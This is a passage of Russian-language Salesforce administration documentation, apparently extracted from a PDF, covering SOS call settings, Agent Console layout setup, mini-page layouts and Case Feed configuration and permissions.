запрашивать вызовы SOS при
развертывании SOS в мобильном
приложении.

Данный параметр выключает функцию
видеосвязи, позволяя агентам и клиентам
общаться толькопосредствомаудиосвязи.

Только голосовой режим

Данный параметр позволяет клиенту
передавать агентам видеоизображение,

Включить заднюю камеру

снятое посредством задней камеры
мобильного устройства клиента.

Данныйпараметропределяет очередь для
маршрутизации входящих вызовов SOS.

Очередь

Данный параметр инициирует
автоматическую запись сеансов SOS.

Запись сеанса включена

Данныйпараметропределяетпоставщика
хранилища данных, используемого для

Поставщик хранилища записей сеансов

хранения записей сеансов SOS. Данный
параметр доступен только после
включения функции записи сеанса.

Код ключа доступа, связанного с учетной
записью хранилища Amazon S3. Данный

Ключ API поставщика хранилища
записей сеансов
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Выполняемые функцииПараметр

параметр доступен только после включения функции
записи сеанса.

Код секрета доступа, связанного с учетной записью
хранилища Amazon S3. Данный параметр доступен только
после включения функции записи сеанса.

Секрет API поставщика хранилища записей сеансов

Имя области Amazon S3, которая должна использоваться
для хранения записей сеансов SOS. Данный параметр
доступентолькопослевключенияфункциизаписисеанса.

Область поставщика хранилища записей сеансов

Настройка возможностей агента службы поддержки

Настройка универсальной службы поддержки

Консоль Agent Console на вкладке «Консоль»

Настройка консоли Agent Console

ВЕРСИИ

Консоль Agent доступна в
Salesforce Classic. Меню
«Настройка» консоли Agent
доступно в Salesforce
Classic и Lightning
Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки консоли
Agent Console:
• «Настройка

приложения»

Данный раздел позволяет ускорить начало работы с консолью Agent Console.

Прим.: Начиная с выпуска Spring ’15 консоль Agent Console недоступна новым
организациям.

Новая консоль SalesforceрасширяетфункциональныевозможностиконсолиAgent
Console путем предоставления пользователям дополнительных параметров и
технологий. См. раздел «Консоль Salesforce».

Консоль Agent Console позволяет отображать все нужные сведения Salesforce на одном
экране. Чтобы настроить консоль Agent Console, выполните указанные ниже действия.

1. Чтобы определить объекты, доступные пользователям в рамке спискового
представления консоли, создайте макеты консоли.

2. Выберите связанныеобъекты, которыедолжныотображаться вмини-представлении.

3. Чтобынастроитьполяисвязанныеспискиобъектов, которыедолжныотображаться
в мини-представлении консоли, определите макеты мини-страниц.

4. Чтобы предоставить пользователям доступ к определенным объектам в списковом
представлении консоли, назначьте профили макету консоли.

5. Чтобы предоставить пользователям доступ к консоли из приложений, добавьте
консоль Agent Console в настраиваемые приложения.

Прим.: Консоль Agent Console не может быть добавлена на партнерские или
клиентские порталы.

Страницы Visualforce могут отображаться на консоли Agent Console некорректно
ввиду отсутствия междоменной связи между доменами Salesforce и Visualforce.
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Создание макетов консоли Agent Console

ВЕРСИИ

Консоль Agent доступна в
Salesforce Classic. Меню
«Настройка» консоли Agent
доступно в Salesforce
Classic и Lightning
Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания макетов
консоли:
• «Настройка

приложения»

Прим.: Начиная с выпуска Spring ’15 консоль Agent Console недоступна новым
организациям.

Новая консоль SalesforceрасширяетфункциональныевозможностиконсолиAgent
Console путем предоставления пользователям дополнительных параметров и
технологий. См. раздел «Консоль Salesforce».

Чтобы создать макет для консоли Agent Console, выполните указанные ниже действия.

1. Введите строку «Макеты консоли» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Макеты консоли».

2. Нажмите кнопку «Создать» и при необходимости выберите готовый макет для
клонирования.

3. Введите имя нового макета.

4. Нажмите кнопку «Сохранить».

5. Нажмите кнопку «Правка» в разделе «Выбранные списковые представления».

6. Чтобыдобавитьили удалитьобъектизмакета, выберитенужныйобъектищелкните
стрелку «Добавить» или «Удалить».

Рамка списковогопредставленияконсолиотображает толькообъекты, добавленные
в макет консоли, который назначен профилю пользователя.

7. Нажмите кнопку «Сохранить».

8. Выберите связанныеобъекты, которыедолжныотображаться вмини-представлении
консоли.

СМ. ТАКЖЕ:

Управление макетами консоли для консоли Agent Console
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Настройка макетов консоли Agent Console

ВЕРСИИ

Agent console available in
Salesforce Classic. Setup for
Agent console available in
Salesforce Classic and
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки макетов
консоли:
• «Настройка

приложения»

ЧтобынастроитьмакетыдляконсолиAgent Console, выполнитеуказанныенижедействия.

1. Введите строку «Макеты консоли» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Макеты консоли».

2. Выберите имя нужного макета.

3. Чтобы изменить поле макета «Имя» или «Описание», нажмите кнопку «Правка»
в разделе «Сведения: макет консоли».

4. Чтобы добавить или удалить объект из макета, нажмите кнопку «Правка» в разделе
«Выбранныесписковыепредставления», выберитенужныйобъектищелкнитестрелку
«Добавить» или «Удалить».

Рамка списковогопредставленияконсолиотображает толькообъекты, добавленные
в макет консоли, который назначен профилю пользователя.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Управление макетами консоли для консоли Agent Console

Удаление макетов консоли Agent Console

ВЕРСИИ

Agent console available in
Salesforce Classic. Setup for
Agent console available in
Salesforce Classic and
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления макетов
консоли Agent Console:
• «Настройка

приложения»

Чтобы удалить макет для консоли Agent Console, выполните указанные ниже действия.

1. Введите строку «Макеты консоли» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Макеты консоли».

2. Щелкните ссылку «Удал.» напротив имени нужного макета консоли.

Прим.: Макетконсоли, назначенныйпрофилю, неможетбытьудален. Рекомендуем
сначалапереназначитьпрофильдругомумакетуконсолиилиотменитьназначение
макета консоли.

СМ. ТАКЖЕ:

Управление макетами консоли для консоли Agent Console
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Управление макетами консоли для консоли Agent Console

ВЕРСИИ

Agent console available in
Salesforce Classic. Setup for
Agent console available in
Salesforce Classic and
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
назначениямакетов консоли
Agent Console:
• «Настройка

приложения»

Макеты консоли определяют объекты, доступные пользователям в рамке спискового
представления консоли Agent Console. Например, чтобы предоставить пользователям
доступ к списковым представлениям обращений и контактов на консоли, добавьте
обращения и контакты в макет консоли, а затем назначьте данный макет консоли
соответствующимпрофилямпользователей. Рамка списковогопредставленияконсоли
отображает толькообъекты, добавленныевмакет консоли, которыйназначенпрофилю
пользователя.

На странице списка макетов консоли, на которую можно перейти путем ввода строки
«Макеты консоли» в поле «Быстрый поиск» в меню «Настройка» после выбора пункта
«Макеты консоли», можно выполнить следующие действия.

• Чтобы создать макет, нажмите кнопку «Создать».

• Чтобы изменить макет, нажмите кнопку «Правка».

• Чтобыназначитьмакетыконсолипрофилям, нажмитекнопку «Назначениемакета
консоли».

СМ. ТАКЖЕ:

Настройка консоли Agent Console

Выбор связанных объектов для мини-представления консоли Agent Console

ВЕРСИИ

Agent console available in
Salesforce Classic. Setup for
Agent console available in
Salesforce Classic and
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки консоли
Agent Console:
• «Настройка

приложения»

Связанные объекты, которые должны отображаться в мини-представлении консоли
Agent Console, могут выбираться пользователями, но должны быть связаны с основным
объектом посредством взаимосвязи «Поиск» или «Основная—подробная». Например,
обращения содержат поля поиска организаций и контактов, поэтому основной объект
«Обращения» может быть связан с объектами «Организации» и «Контакты».

1. В настройках управления объектом, шаблон страницы которого необходимо
отредактировать, перейдите к списку «Макеты страниц».

Стандартныйилинастраиваемыйобъект, выбранныйнаданномэтапе, соответствует
записи в подробном представлении консоли, а связанные объекты в
мини-представлении соответствуют связанным записям.

2. Щелкните ссылку «Правка» напротив имени нужного макета страницы.

3. Щелкните «Мини-представление консоли» в заголовке макета страницы.

4. Чтобы выбрать связанные объекты, которые должны отображаться в
мини-представлении, выберите имя нужного поля и нажмите кнопку «Добавить»
или «Удалить». Объектымогут быть выбраны только в том случае, еслиопределены
каквзаимосвязипоиска, а соответствующиеполяпоискадобавленывмакет страницы.
Чтобы изменить порядок отображения связанных объектов в мини-представлении,
выберите имя нужного поля в списке «Выбранные поля взаимосвязи» и нажмите
кнопку «Вверх» или «Вниз». По завершении нажмите кнопку «Сохранить».
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5. Нажмите кнопку «Сохранить».

6. Чтобызадатьполяисвязанныесписки, которыедолжныотображатьсядля связанныхобъектов вмини-представлении,
определите макеты мини-страниц.

Прим.: Связанные объекты не могут быть выбраны для макета «Закрыть обращение» или макетов страниц
«Зарегистрировать обращение» и «Просмотр обращений» на портале самообслуживания.

СМ. ТАКЖЕ:

Настройка консоли Agent Console

Поиск по параметрам управления объектами

Определение макетов мини-страниц для консоли Agent Console

ВЕРСИИ

Agent console available in
Salesforce Classic. Setup for
Agent console available in
Salesforce Classic and
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки консоли
Agent Console:
• «Настройка

приложения»

Макеты мини-страниц могут быть определены для записей, отображающихся в
мини-представлении консоли Agent Console, во всплывающих сведениях и в областях
наложения для событий. Макет мини-страницы содержит набор элементов текущего
макета страницы. Макеты мини-страниц наследуют связи между типами записей и
профилями, связанные списки, поля и параметры доступа к полям из связанного макета
страницы. Отображаемые поля и связанные списки макета мини-страницы доступны
длядополнительнойнастройки, однакодругие элементы, унаследованныеиз связанного
макета страницы, не могут быть изменены в самом макете мини-страницы.

Областиналожениядляпросмотраиредактированиясведенийособытияхотображаются
вмакетемини-страницысобытий, а нена вкладке «Консоль». Связанные спискимакетов
мини-страниц отображаются только на вкладке «Консоль», но не во всплывающих
сведениях.

1. В настройках управления объектом, шаблон страницы которого необходимо
отредактировать, перейдите к списку «Макеты страниц».

2. Щелкните ссылку «Правка» напротив имени нужного макета страницы.

3. Щелкните «Макет мини-страницы» в заголовке макета страницы.

4. Выберитеполяи связанныесписки, которыедолжныотображаться для данного типа
записи в мини-представлении. Выберите поля, которые должны отображаться в
каждом выбранном связанном списке.

• При необходимости выберите все доступные поля и не более пяти связанных
списков для отображения на консоли. Чтобы упростить процесс поиска нужной
информации, рекомендуем выбирать небольшое количество полей и связанных списков.

• Выбранные поля и связанные списки отображаются на консоли даже в случае отсутствия содержимого.

• Поля, отмеченныевмакетестраницыкак «Всегда отображено» или «Всегда в макете», автоматическидобавляются
в макет мини-страницы и могут быть удалены только после их удаления из макета страницы.

• Свойства полей, используемые в макете страницы, определяют свойства полей, используемые в макете
мини-страницы. Например, поле, доступноевмакетестраницытолькодлячтения, доступновмакетемини-страницы
такжетолькодлячтения. Чтобыизменитьсвойстваполейвмакетемини-страницы, рекомендуемизменитьсвойства
полейвмакете страницы. Обратитевнимание, чтоконсольподдерживаетпараметрыбезопасностиполей, заданные
в организациях.
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• Чтобы добавить или удалить поле, выберите имя нужного поля и нажмите кнопку «Добавить» или «Удалить».
Чтобыизменитьпорядокотображенияполей, выберитеимянужногополя в списке выбранныхинажмите кнопку
«Вверх» или «Вниз». По завершении нажмите кнопку «Сохранить».

• Порядокотображения связанныхсписков вмакете страницыопределяетпорядокотображения связанныхсписков
в макете мини-страницы. Чтобы изменить порядок отображения связанных списков в макете мини-страницы,
измените порядок их отображения в макете страницы, затем выберите нужный макет мини-страницы и нажмите
кнопку «Сохранить».

5. Нажмите кнопку «Сохранить».

Прим.: Макеты мини-страниц не могут быть определены для макета «Закрыть обращение» или макетов страниц
«Зарегистрировать обращение» и «Просмотр обращений» на портале самообслуживания.

СМ. ТАКЖЕ:

Настройка консоли Agent Console

Поиск по параметрам управления объектами

Назначение макетов для консоли Agent Console

ВЕРСИИ

Agent console available in
Salesforce Classic. Setup for
Agent console available in
Salesforce Classic and
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения макетов
консоли:
• «Настройка

приложения»

После создания макетов консоли выберите макеты, которые должны быть доступны
пользователям на консоли Agent Console вкладки «Консоль». Профиль пользователя
определяет доступные макеты консоли.

Чтобы назначить макеты консоли, выполните указанные ниже действия.

1. Введите строку «Макеты консоли» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Макеты консоли».

2. Нажмите кнопку «Назначение макета консоли».

3. Выберите нужный макет консоли из раскрывающегося списка.

4. Выберите параметры доступности вкладки «Консоль» из раскрывающегося списка.
Параметры доступности вкладки «Консоль» могут быть выбраны только для
профилей, назначенных макету консоли.

5. Нажмите кнопку «Сохранить».

Прим.: Версии Enterprise Edition, Unlimited Edition, Performance Edition и Developer
Edition позволяют пользователям с полномочием «Настройка приложения»
назначать макет консоли профилю посредством страницы сведений о профиле.
Введитестроку «Профили» вполе «Быстрый поиск» вменю «Настройка», выберите
пункт «Профили», выберитеимяпрофиляищелкните ссылку «Правка» вразделе
«Параметры консоли».

СМ. ТАКЖЕ:

Управление макетами консоли для консоли Agent Console
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Лента обращений

Настройка ленты обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения и настройки
ленты обращений:
• «Управление

обращениями»

И

«Настройка
приложения»

Предварительные требования и базовая настройка
Прежде чем включить и настроить ленту обращений, выполните указанные ниже
действия.

• Определите нужные действия и инструменты.

– Чтобывоспользоватьсядействием «Эл. почта», настройтефункцию Email-to-Case.

– Чтобы воспользоваться действием «Портал», настройте клиентский портал,
партнерский портал или Chatter Answers.

– Чтобы воспользоваться инструментом «Статьи», настройте Salesforce Knowledge.

• Просмотрите способ обновления обращений и возможные последствия при
включении действий и элементов ленты обращений.

По завершении включите действия и элементы ленты обращений.

Прим.: Нижеперечисленыдополнительныедействиядляорганизаций, созданных
до выпуска Winter'14.

• Включите Chatter и действия в публикаторе.

• Включите функцию отслеживания лент для обращений. Отключите
отслеживаниеполя «Статус» настраницеотслеживанияленты. Данноедействие
препятствует созданию повторяющихся элементов ленты при обновлении
статуса обращения посредством действия «Изменить статус».

Настройка макетов страниц
Настройтемакетыстраниц «Лентаобращений» в соответствиис текущимипотребностямикомпании, а такжеопределите
алгоритм работы агентов службы поддержки.

• Создайте макеты для страниц сведений об обращениии закрытия обращения, а также панели основных показателей.

• Чтобыопределитьдействия, поляиинструменты, которыедолжныбытьдоступныагентамприработе собращениями,
создайте макеты для страниц просмотра ленты.

Предоставление пользователям доступа
Чтобыпредоставитьпользователямдоступклентеобращений, назначьтеимпрофили, использующиесозданныемакеты
страниц обращений на основе ленты.

Организации, созданные до выпуска Spring'14, позволяют предоставлять доступ другими способами.

• Создание и назначение наборов полномочий пользователям

• Использование настраиваемых профилей

Настройка ленты обращений: добавление функций
Чтобы добавить функции в ленту обращений, выполните указанные ниже дополнительные действия.
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• Чтобы разрешить агентам добавление готового краткого текста в сообщения эл. почты, настройте «Быстрый текст»
и создайте сообщения «Быстрый текст».

• Чтобы предоставить агентам возможность отправки клиентам электронных уведомлений о добавлении ответов на
опубликованные вопросы, включите поддержку электронных уведомлений портала.

• Чтобы разрешить агентам сохранение сообщений эл. почты в качестве черновиков, а также создание процессов
утверждения для сообщений эл. почты, включите поддержку электронных черновиков.

• Чтобы ускорить процесс обработки обращений и гарантировать единообразие отправляемых ответов, создайте
текстовые шаблоны, HTML-шаблоны илишаблоны эл. почты Visualforce.

• Чтобы предоставить агентам доступ к дополнительнымфункциям, создайте и добавьте настраиваемые действия.

СМ. ТАКЖЕ:

Параметры Chatter

Включение действий в публикаторе Chatter

Назначение макетов страниц на странице «Макеты страниц» или «Типы записей» раздела «Настроить»

Включение действий и элементов ленты обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
поддержки:
• «Управление

обращениями»

И

«Настройка
приложения»

Включение действий и элементов ленты обращений предоставляет пользователям
доступ к некоторым стандартным действиям, необходимым для обработки обращений
(например, «Изменить статус»), а также к связанным элементам ленты.

Прим.: В организациях Salesforce, которые были созданы до выпуска Winter'14,
следует включитьфункциюотслеживаниялентдляобращенийпередвключением
действий ленты обращений и элементов ленты. Если отслеживание ленты не
включено, действия «Включить ленту обращений» и элементы ленты
отображены не будут.

В организациях Salesforce, созданных после выпуска Winter'14, действия отслеживания
лент для обращений, действия ленты обращений и элементы ленты включаются
автоматически.

1. Введитестроку «Параметры поддержки» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Параметры поддержки».

2. Нажмите кнопку «Правка».

3. Установите флажок «Включить действия и элементы ленты обращений».

4. Нажмите кнопку «Сохранить».

При включении действий и элементов ленты обращений организация автоматически
отображает обращения посредством нового пользовательского интерфейса. Прежде
чем предоставить пользователям доступ к ленте обращений, рекомендуем дождаться
завершения данного процесса обновления.

СМ. ТАКЖЕ:

Настройка ленты обращений

Результаты обновления ленты обращений

Назначение ленты обращений пользователям

Включение обновлений ленты для связанных записей
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Создание наборов полномочий для ленты обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания наборов
полномочий:
• «Управление

профилями и наборами
полномочий»

Чтобы предоставить пользователям доступ к ленте обращений, включенной в
организации, создайте набор полномочий.

1. Создайте набор полномочий для ленты обращений.

Просмотреть обзор:

2. Щелкните «Полномочия приложения» на странице «Набор полномочий».

3. Установите флажок «Использование ленты обращений». При необходимости
выберите любые другие полномочия, которые должны быть добавлены в набор.

4. Нажмите кнопку «Сохранить».

Совет: Полномочие «Использование ленты обращений» может быть также
добавлено в текущий набор полномочий.

СМ. ТАКЖЕ:

Настройка ленты обращений

Назначение ленты обращений пользователям

Назначение ленты обращений пользователям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
поддержки:
• «Управление

обращениями»

И

«Настройка
приложения»

Послевключениялентыобращенийисозданиясоответствующегонабораполномочий
рекомендуем назначить данный набор полномочий пользователям.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Выберите имя пользователя.

3. Щелкните «Редактировать назначения» в списке «Назначения набора
полномочий».

4. Выберитенужныйнаборполномочийв списке «Доступные наборы полномочий»
и нажмите кнопку «Добавить».

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка ленты обращений

Создание наборов полномочий для ленты обращений
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Предоставление пользователям доступа к ленте обращений посредством настраиваемых профилей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования профилей:
• «Управление

профилями и наборами
полномочий»

Взаменнаборовполномочий, используемыхдляпредоставленияпользователямдоступа
к ленте обращений, рекомендуем создать настраиваемый профиль, содержащий
полномочие «Использование ленты обращений».

1. Создайте профиль.

2. Нажмите кнопку «Правка» на странице «Профиль».

3. Установите флажок «Использование ленты обращений» в разделе «Общие
полномочия пользователя».

4. Нажмите кнопку «Сохранить».

5. Назначьте профиль пользователям.

Пример:

Прим.: В организациях Salesforce, созданных после выпуска Winter'14, лента
обращений включается автоматически и назначается всем стандартным
профилям.Чтобыотключитьлентуобращенийвпрофиле, снимитефлажок
«Использование ленты обращений».

СМ. ТАКЖЕ:

Настройка ленты обращений

Результаты обновления ленты обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При включении ленты обращений для организации процесс обновления отображает
активные обращения посредством нового интерфейса и создает элементы ленты для
действия над данными обращениями.

Данные изменения не заметны во время процесса обновления. По завершении данного
процесса пользователи, для которых включена поддержка ленты обращений, могут
просматривать текущиеиновые обращения посредствомнового интерфейса, тогда как
пользователи, длякоторыхподдержкалентыобращенийвыключена, могутпросматривать
обращения только посредством традиционного интерфейса.

Ниже перечислены действия, выполняемые при обновлении интерфейса обращений.

• 5 000 последних активных обращений организации отображаются посредством
интерфейсалентыобращений. Продолжительностьданногопроцессаопределяется
количествомпреобразуемыхобращенийисложностьюихданных. Например, преобразованиеобращений, содержащих
несколько сообщений эл. почты или других вложений, может выполняться дольше обычного.

• Обновлениеболеераннихобращенийвыполняется только в томслучае, еслионисодержат комментарии, сообщения
эл. почты или зарегистрированные вызовы, которые были добавлены в обращение на протяжении временного
диапазона, установленного для исходных 5 000 преобразованных интересов. Пользователю доступно не более
500 обращений с текущими комментариями, не более 500 обращений с текущими сообщениями эл. почтыине более
500 обращений с текущими зарегистрированными вызовами (в общей сложности не более 1 500 дополнительных
преобразованных обращений).

• Ниже перечислены элементы, добавляемые в ленту для каждого обращения.

– Не более 60 сообщений эл. почты.

2900

Лента обращенийНастройка и обслуживание инструментов службы поддержки



– Не более 60 личных и общедоступных комментариев. Во время обновления эти комментарии преобразуются в
сообщения Chatter.

– Неболее 60 зарегистрированныхвызовов. Некоторые зарегистрированныевызовы, созданныедовнедренияленты
обращений, могут отображаться в ленте в качестве задач.

• Интерфейс ленты обращений включается для всех новых обращений, предоставляя пользователям доступ к
публикатору и ленте.

• Пользователю становится доступно представление «Сведения об обращении», которое содержит дополнительную
информацию об обращении, включая элементы, сохранившиеся в текущих связанных списках.

По завершении процесса обновления пользователю отправляется сообщение эл. почты.

Рекомендации

• Чтобы беспрепятственно обновить интерфейс обращений, рекомендуем активировать ленту обращений в
производственной организации только после ее активации в полной безопасной организации. Данный алгоритм
помогаетопределитьпродолжительностьпроцессапреобразованияобращенийипозволяетпросмотретьнекоторые
обращения посредством нового пользовательского интерфейса.

• Преждечемпредоставитьпользователямдоступкактивированнойлентеобращенийвпроизводственнойорганизации,
дождитесь завершения процесса обновления. Рекомендуем сначала назначить ленту обращений отдельному
пользователю, которыйможет убедиться в успешномзавершениипроцесса обновленияпутемпросмотранекоторых
преобразованных обращений, а затем предоставить доступ другим пользователям.

СМ. ТАКЖЕ:

Настройка ленты обращений

Включение действий и элементов ленты обращений
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Включение электронных уведомлений о добавлении ответов на портал в ленте обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
поддержки:
• «Управление

обращениями»

И

«Настройка
приложения»

Если организация использует портал или сообщество, то агенты службы поддержки
могут отправлять ответы клиентам посредством действия «Сообщество» в ленте
обращений. Привключенииэлектронныхуведомленийодобавленииответовнапортал
агентам предоставляется доступ к параметру «Отправить эл. почту» в действии
«Сообщество».

1. Введитестроку «Параметры поддержки» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Параметры поддержки».

2. Нажмите кнопку «Правка».

3. Установитефлажок «Включить уведомление контактов о добавлении комментария
к обращению».

4. Выберите шаблон для электронных уведомлений.

5. Нажмите кнопку «Сохранить».

Сообщения эл. почты, отправляемые внешним пользователям, содержат ссылку на
сообщество. Если получатель сообщения эл. почты является участником нескольких
активных сообществ, то ссылка открывает самое давнее активное сообщество. При
выборе ссылки в сообщении эл. почты после выполнения входа в сообщество ссылка
открывает соответствующее сообщество. Если пользователь не является участником
сообщества, тоссылкаоткрываетвнутреннююорганизацию. Еслипользовательявляется
участником портала и сообщества, то ссылка открывает сообщество.

СМ. ТАКЖЕ:

Настройка ленты обращений

Выделение элементов ленты, поддерживающих внешнее отображение, в ленте обращений

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

• “”

• “”

При необходимости выделите элементы ленты, доступные внешним пользователям, в
ленте обращений. Теперь агенты службы поддержки могут легко отличать элементы
ленты, доступные только внутренним пользователям, от элементов ленты, доступных
внешним пользователям.

По умолчанию лента обращений не позволяет различать элементы ленты по их
доступности.

Чтобы гарантировать корректную работу функции выделения, рекомендуем включить
параметры «Включить ленту обращений сообщества» и «Выделить элементы ленты,
поддерживающие внешнее отображение».

Привключениипараметров «Включить ленту обращений сообщества» и «Выделить
элементы ленты, поддерживающие внешнее отображение» лентаобращенийвыделяет
указанные ниже элементы ленты.

• Общедоступные сообщения эл. почты, отправленные или полученные с адреса эл.
почты контакта обращения

• Общедоступные комментарии к обращениям

• Все сообщения социальной сети (например, сообщения Facebook)

• Вопросы, расширенные из сообществ
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• Задачи с параметрами «Все с доступом» и «Общедоступный»

• События с параметрами «Все с доступом» и «Общедоступный»

• Сообщения Chatter с параметрами «Все с доступом» и «Общедоступный»

При включении только параметра «Выделить элементы ленты, поддерживающие внешнее отображение» лента
обращений выделяет указанные ниже элементы ленты.

• Входящиеиисходящие сообщения эл. почты, отправленныеилиполученные с адреса эл. почтыконтакта обращения

При включении только параметра «Включить ленту обращений сообщества» элементы ленты не выделяются.

Данный параметр доступен только для компактной ленты.

1. Элементы ленты, выделенные оранжевым цветом, доступны внешним пользователям (например, клиенты).

2. Элементы ленты без выделения доступны только внутренним пользователям (например, агенты службы поддержки).

1. Включите параметр «Выделить элементы ленты, поддерживающие внешнее отображение».

a. Откройте страницу «Макеты страниц» посредством параметров управления обращениями.

b. Выберите нужный макет страницы на основе ленты ищелкните ссылку «Правка».

c. Установите флажок «Выделить элементы ленты, поддерживающие внешнее отображение» в параметрах
представления ленты.

2. Включите параметр «Включить ленту обращений сообщества».

a. Откройте страницу «Параметры поддержки» посредством параметров управления обращениями.

b. Установите флажок «Включить ленту обращений сообщества».
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Включение поддержки электронных черновиков в ленте обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
поддержки:
• «Управление

обращениями»

И

«Настройка
приложения»

Электронные черновики позволяют агентам службы поддержки, использующим ленту
обращений, создаватьи сохранять сообщения для болеепозднейотправки. Кроме того,
данная функция поддерживает внедрение процессов утверждения, позволяющих
отправлять клиентам сообщения эл. почты, проверенные администраторами или
старшими агентами.

Прежде чем включить поддержку электронных черновиков, рекомендуем настроить
функцию Email-to-Case и ленту обращений.

1. Введитестроку «Параметры поддержки» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Параметры поддержки».

2. Нажмите кнопку «Правка».

3. Установите флажок «Включить поддержку электронных черновиков».

4. Нажмите кнопку «Сохранить».

Прим.: Если сообщение сохраняется в качестве черновика, то изменения полей
(кроме полей «Кому», «От», «Копия», «СК» и «Тема») в действии «Эл. почта»
несохраняются. Прииспользованииэлектронныхчерновиковрекомендуемудалить
любые дополнительные поля из действия «Эл. почта».

СМ. ТАКЖЕ:

Настройка ленты обращений

Создание процессов утверждения для электронных черновиков

Добавление настраиваемых компонентов в ленту обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
ленты обращений:
• «Управление

обращениями»

И

«Настройка
приложения»

Чтобыпредоставитьагентамслужбыподдержки, работающимсобращениями, удобный
доступкспециальныминструментамилифункциям, рекомендуемиспользоватьстраницы
Visualforce в качестве настраиваемых компонентов ленты обращений.

Например, пользователь может создать компонент «Карта», позволяющий агентам
просматривать местоположение клиентов, или инструмент, позволяющий агентам
находитьпродукты, связанныес текущимиобращениями. Системаподдерживаетлюбую
страницу Visualforce, содержащую стандартный контроллер обращения в качестве
настраиваемого компонента.

Чтобы добавить созданную страницу Visualforce в макет ленты обращений, выполните
указанные ниже действия.

1. В зависимости от используемого типа макета страницы, выберите один из
перечисленныхниже способов доступа к странице «Параметрылентыобращений».

• Щелкните ссылку «Правка» напротив нужного макета в разделе «Обращение:
макеты страниц», а затемщелкните ссылку «Представлениеленты» в редакторе
макетов страниц.

• Нажмите кнопку напротив нужного макета в разделе «Макеты страниц для
пользователей ленты обращений» и выберите «Редактировать представление
ленты». (Данный раздел отображается только организациям, созданным до
выпуска Spring'14.)
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2. Щелкните «+ Добавить страницу Visualforce» в разделе «Другие инструменты и компоненты» и выберите нужную
страницу.
Ширина компонента определяется шириной соответствующего столбца. Чтобы оптимизировать внешний вид
компонента, рекомендуем задать ширине страницы Visualforce значение «100%».

3. Укажите высоту компонента.

4. Выберите область страницы для отображения компонента.

Совет: Компоненты правого столбца не отображаются при просмотре страницы сведений об обращении.
Чтобы гарантировать постоянную доступность компонентов, рекомендуем использовать левый столбец.

СМ. ТАКЖЕ:

Настройка ленты обращений

